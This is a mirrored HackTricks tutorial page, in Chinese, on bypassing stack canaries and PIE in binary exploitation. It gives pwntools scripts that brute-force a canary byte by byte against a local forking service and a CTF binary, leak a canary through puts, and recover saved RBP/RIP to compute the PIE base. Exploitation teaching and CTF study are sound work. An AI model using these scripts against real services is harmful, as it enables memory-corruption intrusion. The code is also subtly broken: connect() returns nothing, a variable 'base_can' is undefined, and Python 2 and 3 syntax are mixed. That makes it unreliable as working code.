mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-27 07:01:09 +00:00
173 lines
9.5 KiB
Markdown
173 lines
9.5 KiB
Markdown
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
- 你在一家**网络安全公司**工作吗?你想在 HackTricks 中看到你的**公司广告**吗?或者你想获得**PEASS 的最新版本或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
|
||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
|
||
- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||
|
||
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||
|
||
- **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**。
|
||
|
||
</details>
|
||
|
||
|
||
**如果你面对的是一个受到堆栈保护(canary)和位置无关可执行文件(PIE)保护的二进制文件,你可能需要找到一种绕过它们的方法。**
|
||
|
||
![](<../../.gitbook/assets/image (144).png>)
|
||
|
||
{% hint style="info" %}
|
||
请注意,如果二进制文件是静态编译的,并且无法识别函数,那么 **`checksec`** 可能无法发现二进制文件受到堆栈保护的保护。\
|
||
然而,你可以手动注意到这一点,如果你发现在函数调用的开始处将一个值保存在堆栈中,并且在退出之前检查该值。
|
||
{% endhint %}
|
||
|
||
# 暴力破解 Canary
|
||
|
||
绕过简单的堆栈保护(canary)的最佳方法是,如果二进制文件是一个**每次你与其建立新连接时都会派生子进程的程序**(网络服务),因为每次连接到它时**都会使用相同的堆栈保护(canary)**。
|
||
|
||
然后,绕过堆栈保护(canary)的最佳方法就是**逐个字符地暴力破解**,你可以通过检查程序是否崩溃或继续其正常流程来判断猜测的堆栈保护(canary)字节是否正确。在这个例子中,函数**暴力破解一个 8 字节的堆栈保护(canary)(x64)**,并通过检查服务器是否发送了**响应**(在**其他情况**下可以使用**try/except**)来区分正确猜测的字节和错误的字节:
|
||
|
||
## 示例 1
|
||
|
||
这个示例是为 64 位实现的,但可以很容易地为 32 位实现。
|
||
```python
|
||
from pwn import *
|
||
|
||
def connect():
|
||
r = remote("localhost", 8788)
|
||
|
||
def get_bf(base):
|
||
canary = ""
|
||
guess = 0x0
|
||
base += canary
|
||
|
||
while len(canary) < 8:
|
||
while guess != 0xff:
|
||
r = connect()
|
||
|
||
r.recvuntil("Username: ")
|
||
r.send(base + chr(guess))
|
||
|
||
if "SOME OUTPUT" in r.clean():
|
||
print "Guessed correct byte:", format(guess, '02x')
|
||
canary += chr(guess)
|
||
base += chr(guess)
|
||
guess = 0x0
|
||
r.close()
|
||
break
|
||
else:
|
||
guess += 1
|
||
r.close()
|
||
|
||
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
|
||
return base
|
||
|
||
canary_offset = 1176
|
||
base = "A" * canary_offset
|
||
print("Brute-Forcing canary")
|
||
base_canary = get_bf(base) #Get yunk data + canary
|
||
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
|
||
```
|
||
## 示例2
|
||
|
||
这是为32位实现的,但是很容易改为64位。\
|
||
还要注意,对于这个示例,**程序首先期望一个字节来指示输入的大小**和有效载荷。
|
||
```python
|
||
from pwn import *
|
||
|
||
# Here is the function to brute force the canary
|
||
def breakCanary():
|
||
known_canary = b""
|
||
test_canary = 0x0
|
||
len_bytes_to_read = 0x21
|
||
|
||
for j in range(0, 4):
|
||
# Iterate up to 0xff times to brute force all posible values for byte
|
||
for test_canary in range(0xff):
|
||
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
|
||
|
||
# Send the current input size
|
||
target.send(len_bytes_to_read.to_bytes(1, "little"))
|
||
|
||
# Send this iterations canary
|
||
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
|
||
|
||
# Scan in the output, determine if we have a correct value
|
||
output = target.recvuntil(b"exit.")
|
||
if b"YUM" in output:
|
||
# If we have a correct value, record the canary value, reset the canary value, and move on
|
||
print(" - next byte is: " + hex(test_canary))
|
||
known_canary = known_canary + test_canary.to_bytes(1, "little")
|
||
len_bytes_to_read += 1
|
||
break
|
||
|
||
# Return the canary
|
||
return known_canary
|
||
|
||
# Start the target process
|
||
target = process('./feedme')
|
||
#gdb.attach(target)
|
||
|
||
# Brute force the canary
|
||
canary = breakCanary()
|
||
log.info(f"The canary is: {canary}")
|
||
```
|
||
# 打印 Canary
|
||
|
||
绕过 Canary 的另一种方法是**打印它**。\
|
||
想象一种情况,一个**易受栈溢出攻击的程序**可以执行一个指向**栈溢出部分**的 **puts** 函数。攻击者知道**canary 的第一个字节是空字节**(`\x00`),其余的字节是**随机**的。然后,攻击者可以创建一个溢出,**覆盖栈直到 canary 的第一个字节**。\
|
||
然后,攻击者在负载的中间**调用 puts 功能**,这将**打印出所有的 canary**(除了第一个空字节)。\
|
||
有了这些信息,攻击者可以**构造并发送一个新的攻击**,知道了 canary(在同一个程序会话中)。
|
||
|
||
显然,这种策略非常**受限**,因为攻击者需要能够**打印**他的**负载**的**内容**,以**泄露**出**canary**,然后能够创建一个新的负载(在**同一个程序会话**中)并**发送**真正的缓冲区溢出。\
|
||
CTF 示例:[https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
|
||
|
||
# PIE
|
||
|
||
为了绕过 PIE,你需要**泄露一些地址**。如果二进制文件没有泄露任何地址,最好的方法是在易受攻击的函数中**暴力破解栈中保存的 RBP 和 RIP**。\
|
||
例如,如果一个二进制文件同时使用了**canary**和**PIE**进行保护,你可以开始暴力破解 canary,然后**接下来的**8个字节(x64)将是保存的**RBP**,再接下来的8个字节将是保存的**RIP**。
|
||
|
||
要从二进制文件中暴力破解 RBP 和 RIP,你可以发现,如果程序输出了一些内容或者没有崩溃,那么一个有效的猜测字节就是正确的。与用于暴力破解 canary 的相同函数可以用于暴力破解 RBP 和 RIP:
|
||
```python
|
||
print("Brute-Forcing RBP")
|
||
base_canary_rbp = get_bf(base_canary)
|
||
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
|
||
print("Brute-Forcing RIP")
|
||
base_canary_rbp_rip = get_bf(base_canary_rbp)
|
||
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
|
||
```
|
||
## 获取基地址
|
||
|
||
打败PIE的最后一步是从泄漏的地址中计算出有用的地址:**RBP**和**RIP**。
|
||
|
||
通过**RBP**,您可以计算出您在堆栈中编写shell的位置。这对于知道您将在堆栈中编写字符串_"/bin/sh\x00"_的位置非常有用。要计算泄漏的RBP和您的shellcode之间的距离,您只需在泄漏RBP之后设置一个断点,然后检查您的shellcode位于何处,然后可以计算shellcode与RBP之间的距离:
|
||
```python
|
||
INI_SHELLCODE = RBP - 1152
|
||
```
|
||
从**RIP**中,您可以计算**PIE二进制文件的基地址**,这是您需要创建**有效的ROP链**所需的内容。\
|
||
要计算基地址,只需执行`objdump -d vunbinary`并检查反汇编的最新地址:
|
||
|
||
![](<../../.gitbook/assets/image (145).png>)
|
||
|
||
在这个例子中,您可以看到只需要**1个字节和半个字节**就可以定位所有的代码,然后,在这种情况下,基地址将是**泄漏的RIP,但以"000"结尾**。例如,如果泄漏的是_0x562002970**ecf**_,则基地址为_0x562002970**000**_。
|
||
```python
|
||
elf.address = RIP - (RIP & 0xfff)
|
||
```
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
- 你在一家**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
|
||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
|
||
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||
|
||
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**Telegram群组**](https://t.me/peass),或者在**Twitter**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
||
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||
|
||
</details>
|